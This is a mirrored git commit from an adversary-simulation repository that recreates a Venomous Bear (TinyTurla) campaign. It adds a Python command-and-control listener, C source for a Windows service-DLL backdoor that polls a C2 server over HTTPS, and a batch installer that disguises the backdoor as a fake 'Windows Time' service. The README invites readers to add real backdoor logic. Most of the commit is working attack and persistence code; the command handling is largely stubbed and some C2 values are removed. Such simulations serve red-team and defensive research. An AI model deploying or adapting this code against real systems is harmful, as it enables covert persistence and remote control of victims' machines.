mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
S3N4T0R
@@ -0,0 +1,53 @@
|
||||
import socket
|
||||
|
||||
def start_c2_server():
|
||||
|
||||
print("""
|
||||
|
||||
____ _ _
|
||||
| _ \ | | | |
|
||||
| |_) | __ _ ___| | ____| | ___ ___ _ __
|
||||
| _ < / _` |/ __| |/ / _` |/ _ \ / _ \| '__|
|
||||
| |_) | (_| | (__| < (_| | (_) | (_) | |
|
||||
|____/ \__,_|\___|_|\_\__,_|\___/ \___/|_|
|
||||
|
||||
|
||||
""")
|
||||
|
||||
host = input("Enter the IP address to listen on: ")
|
||||
port = int(input("Enter the port to listen on: "))
|
||||
|
||||
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_socket.bind((host, port))
|
||||
server_socket.listen(5)
|
||||
|
||||
print("[+] Listening for connections...")
|
||||
|
||||
while True:
|
||||
client_socket, addr = server_socket.accept()
|
||||
print(f"[+] Connection from {addr[0]}:{addr[1]}")
|
||||
|
||||
# Send command to backdoor
|
||||
command = input("Enter command to send: ")
|
||||
client_socket.send(command.encode())
|
||||
|
||||
# Receive output from backdoor
|
||||
output = b""
|
||||
while True:
|
||||
data = client_socket.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
output += data
|
||||
|
||||
print("[+] Binary output from backdoor:")
|
||||
try:
|
||||
print(output.decode()) # Try decoding as UTF-8
|
||||
except UnicodeDecodeError:
|
||||
print("[+] Output is not UTF-8 encoded:")
|
||||
print(output)
|
||||
|
||||
client_socket.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_c2_server()
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
# Venomous Bear APT Adversary Simulation
|
||||
|
||||
This is a simulation of attack by (Venomous Bear) APT group targeting U.S.A, Germany and Afghanista attack campaign was active since at least 2020, The attack chain starts with
|
||||
installed the backdoor as a service on the infected machine. They attempted to operate under the radar by naming the service "Windows Time Service", like the existing Windows service. The backdoor can upload and execute files or exfiltrate files from the infected system, and the backdoor contacted the command and control (C2) server via an HTTPS encrypted channel every five seconds to check if there were new commands from the operator. I relied on Cisco Talos Intelligence Group tofigure out the details to make this simulation: https://blog.talosintelligence.com/tinyturla/
|
||||
|
||||
|
||||
|
||||
The attackers uses a .BAT file that resembles the Microsoft Windows Time Service, to install the backdoor. The backdoor comes in the form of a service dynamic link library (DLL) called w64time.dll. The description and filename make it look like a valid Microsoft DLL. Once up and running, it allows the attackers to exfiltrate files or upload and execute them, thus functioning as a second-stage postern when needed.
|
||||
|
||||
1. BAT file: The attackers used a .bat file similar to the one below to install the backdoor as a harmless-looking fake Microsoft Windows Time service.
|
||||
|
||||
2. DLL backdoor: I have developed a simulation of the backdoor that the attackers used in the actual attack.
|
||||
|
||||
3. Backdoor Listener: I was here developed a simple listener script that waits for the incoming connection from the backdoor when it is executed on the target machine.
|
||||
|
||||
|
||||
|
||||
According to what the Cisco team said, they were not able to identify the method by which this backdoor was installed on the victims’ systems.
|
||||
|
||||
|
||||
|
||||
|
||||
## The first stage (.BAT file)
|
||||
|
||||
The attackers used a .bat file similar to the one below to install the backdoor as a harmless-looking fake Microsoft Windows Time service, the .bat file is also setting the configuration parameters in the registry the backdoor is using.
|
||||
|
||||
|
||||
|
||||
I wrote a .bat file identical to the one the attackers used to the one below to install the backdoor as a fake Microsoft Windows Time service.
|
||||
|
||||
These commands add various configuration parameters for the W64Time service to the registry.
|
||||
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\w64time.dll" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "REMOVED 5050" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "<REMOVED>" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 300000 /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f
|
||||
|
||||
|
||||
ServiceDll: Specifies the DLL that implements the service.
|
||||
|
||||
Hosts: Sets the hosts and port (values removed for security).
|
||||
|
||||
Security: Configures security settings (value removed for security).
|
||||
|
||||
TimeLong: A time-related setting.
|
||||
|
||||
TimeShort: Another time-related setting.
|
||||
|
||||
|
||||
|
||||
|
||||
This means the malware is running as a service, hidden in the svchost.exe process. The DLL's ServiceMain startup function is doing not much more than executing.
|
||||
|
||||
## The Second stage (DLL backdoor)
|
||||
|
||||
"Here, I have developed a simulation of the backdoor that the attackers used in the actual attack."
|
||||
|
||||
First, the backdoor reads its configuration from the registry and saves it in the "result" structure, which is later on assigned to the "sConfig" structure.
|
||||
|
||||
|
||||
|
||||
|
||||
This backdoor includes the following components:
|
||||
|
||||
1.Service Control Handler: Registers a service control handler to manage the service's state.
|
||||
|
||||
2.Main Malware Function: Placeholder for the main logic of the backdoor.
|
||||
|
||||
3.Configuration Reading: Initializes the configuration with placeholders for actual values.
|
||||
|
||||
4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server.
|
||||
|
||||
5.Command Processing: Processes the retrieved commands (currently simulated).
|
||||
|
||||
6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup.
|
||||
|
||||
Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements.
|
||||
|
||||
|
||||
|
||||
## The third stage (Backdoor Listener)
|
||||
|
||||
I was here developed a simple listener script that waits for the incoming connection from the backdoor when it is executed on the target machine.
|
||||
|
||||
Accepts incoming connections: When a client connects, it prints the client's IP address and port.
|
||||
|
||||
Sends the command: Encodes the command as bytes and sends it over the socket.
|
||||
|
||||
Prompts for a command: Asks the user to enter a command to send to the connected client.
|
||||
|
||||
Continues reading until no more data is received.
|
||||
|
||||
Receives output from the client: Reads data in chunks of 4096 bytes.
|
||||
|
||||
Accumulates the data into the output variable.
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
//This backdoor includes the following components:
|
||||
|
||||
//1.Service Control Handler: Registers a service control handler to manage the service's state.
|
||||
//2.Main Malware Function: Placeholder for the main logic of the backdoor.
|
||||
//3.Configuration Reading: Initializes the configuration with placeholders for actual values.
|
||||
//4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server.
|
||||
//5.Command Processing: Processes the retrieved commands (currently simulated).
|
||||
//6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup.
|
||||
|
||||
//Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements.
|
||||
//Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes
|
||||
|
||||
// Author: S3N4T0R
|
||||
// Date: 2024-6-8
|
||||
|
||||
//manual compile: x86_64-w64-mingw32-gcc -o backdoor.dll backdoor.c -lwinhttp
|
||||
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define WINHTTP_FLAG_SECURE 0x00800000
|
||||
|
||||
typedef struct _sConfig {
|
||||
LPCWSTR lpSubKey;
|
||||
int TimeLongValue;
|
||||
int TimeShortValue;
|
||||
LPCWSTR SecurityValue;
|
||||
LPCWSTR Hosts;
|
||||
int NumIPs;
|
||||
int HostsIndex;
|
||||
LPCWSTR MachineGuidValue;
|
||||
int authenticated;
|
||||
PROCESS_INFORMATION subprocess;
|
||||
} sConfig;
|
||||
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
SERVICE_STATUS_HANDLE hServiceStatus;
|
||||
sConfig *config;
|
||||
|
||||
void HandlerProc(DWORD dwControl) {
|
||||
// Handler for service control
|
||||
}
|
||||
|
||||
void main_malware(const char *serviceName) {
|
||||
// Placeholder for main malware logic
|
||||
printf("Running main malware logic for service: %s\n", serviceName);
|
||||
}
|
||||
|
||||
DWORD _fastcall ServiceMain(DWORD dwArgc, LPCWSTR *lpszArgv) {
|
||||
const char *serviceName = (const char *)*lpszArgv;
|
||||
hServiceStatus = RegisterServiceCtrlHandlerW(*lpszArgv, HandlerProc);
|
||||
|
||||
if (hServiceStatus) {
|
||||
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||
if (SetServiceStatus(hServiceStatus, &ServiceStatus)) {
|
||||
main_malware(serviceName);
|
||||
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
SetServiceStatus(hServiceStatus, &ServiceStatus);
|
||||
}
|
||||
}
|
||||
|
||||
return (DWORD)(uintptr_t)hServiceStatus;
|
||||
}
|
||||
|
||||
sConfig* ReadConfig() {
|
||||
// Function to read and initialize configuration
|
||||
sConfig* result = (sConfig *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(sConfig));
|
||||
result->Hosts = L"192.168.1.9"; // Adjust the IP address here
|
||||
result->NumIPs = 1;
|
||||
result->HostsIndex = 0;
|
||||
result->TimeLongValue = 30000; // Example value for long sleep time
|
||||
result->TimeShortValue = 5000; // Example value for short sleep time
|
||||
result->SecurityValue = L"default_password"; // Example security value
|
||||
result->MachineGuidValue = L"unique_machine_guid"; // Example machine GUID
|
||||
result->authenticated = 0;
|
||||
ZeroMemory(&(result->subprocess), sizeof(PROCESS_INFORMATION));
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL C2_GetCommand(HINTERNET hConnect, LPCWSTR machineGuid, BYTE **responseData, DWORD *responseDataLength) {
|
||||
BOOL result = FALSE;
|
||||
HINTERNET hRequest = NULL;
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
WCHAR requestPath[256];
|
||||
swprintf(requestPath, 256, L"/get_command?guid=%s", machineGuid);
|
||||
|
||||
hRequest = WinHttpOpenRequest(hConnect, L"GET", requestPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
|
||||
|
||||
if (hRequest) {
|
||||
if (WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) &&
|
||||
WinHttpReceiveResponse(hRequest, NULL)) {
|
||||
WinHttpQueryDataAvailable(hRequest, responseDataLength);
|
||||
|
||||
if (*responseDataLength > 0) {
|
||||
*responseData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, *responseDataLength + 1);
|
||||
if (WinHttpReadData(hRequest, *responseData, *responseDataLength, &bytesRead)) {
|
||||
(*responseData)[*responseDataLength] = 0; // Null-terminate the data
|
||||
result = TRUE;
|
||||
} else {
|
||||
HeapFree(GetProcessHeap(), 0, *responseData);
|
||||
*responseData = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
WinHttpCloseHandle(hRequest);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void ProcessCommand(sConfig *config, BYTE *commandData, DWORD commandDataLength) {
|
||||
printf("Processing command: %s\n", commandData);
|
||||
|
||||
if (strncmp((char *)commandData, "calc", 4) == 0) {
|
||||
system("calc");
|
||||
}
|
||||
|
||||
// Add real command processing logic here
|
||||
}
|
||||
|
||||
void ServiceLoop() {
|
||||
HINTERNET hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
HINTERNET hConnect = WinHttpConnect(hSession, config->Hosts, 4444, 0);
|
||||
|
||||
if (!hConnect) goto SHUTDOWN;
|
||||
|
||||
while (1) {
|
||||
BYTE *commandData = NULL;
|
||||
DWORD commandDataLength = 0;
|
||||
|
||||
if (!C2_GetCommand(hConnect, config->MachineGuidValue, &commandData, &commandDataLength)) {
|
||||
goto SHUTDOWN;
|
||||
}
|
||||
|
||||
ProcessCommand(config, commandData, commandDataLength);
|
||||
|
||||
if (commandData) {
|
||||
HeapFree(GetProcessHeap(), 0, commandData);
|
||||
}
|
||||
|
||||
Sleep(config->TimeShortValue);
|
||||
}
|
||||
|
||||
SHUTDOWN:
|
||||
if (hConnect) WinHttpCloseHandle(hConnect);
|
||||
if (hSession) WinHttpCloseHandle(hSession);
|
||||
}
|
||||
|
||||
int main() {
|
||||
LPCWSTR argv[] = {L"DummyService"};
|
||||
config = ReadConfig();
|
||||
ServiceMain(1, argv);
|
||||
ServiceLoop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
@echo off
|
||||
:: Create the service
|
||||
sc create W64Time binPath= "c:\windows\system32\svchost.exe -k TimeService" type= share start= auto
|
||||
|
||||
:: Set the display name and description
|
||||
sc config W64Time DisplayName= "Windows 64 Time"
|
||||
sc description W64Time "Maintains date and time synchronization on all clients and servers in the network. If this service is stopped, date and time synchronization will be unavailable. If this service is disabled, any services that explicitly depend on it will fail to start."
|
||||
|
||||
:: Register the service under svchost
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
|
||||
|
||||
:: Set parameters for the service
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\w64time.dll" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "REMOVED 5050" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "<REMOVED>" /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 300000 /f
|
||||
reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f
|
||||
|
||||
:: Start the service
|
||||
sc start W64Time
|
||||
|
||||
echo Service setup completed.
|
||||
pause
|
||||
|
||||
Reference in New Issue
Block a user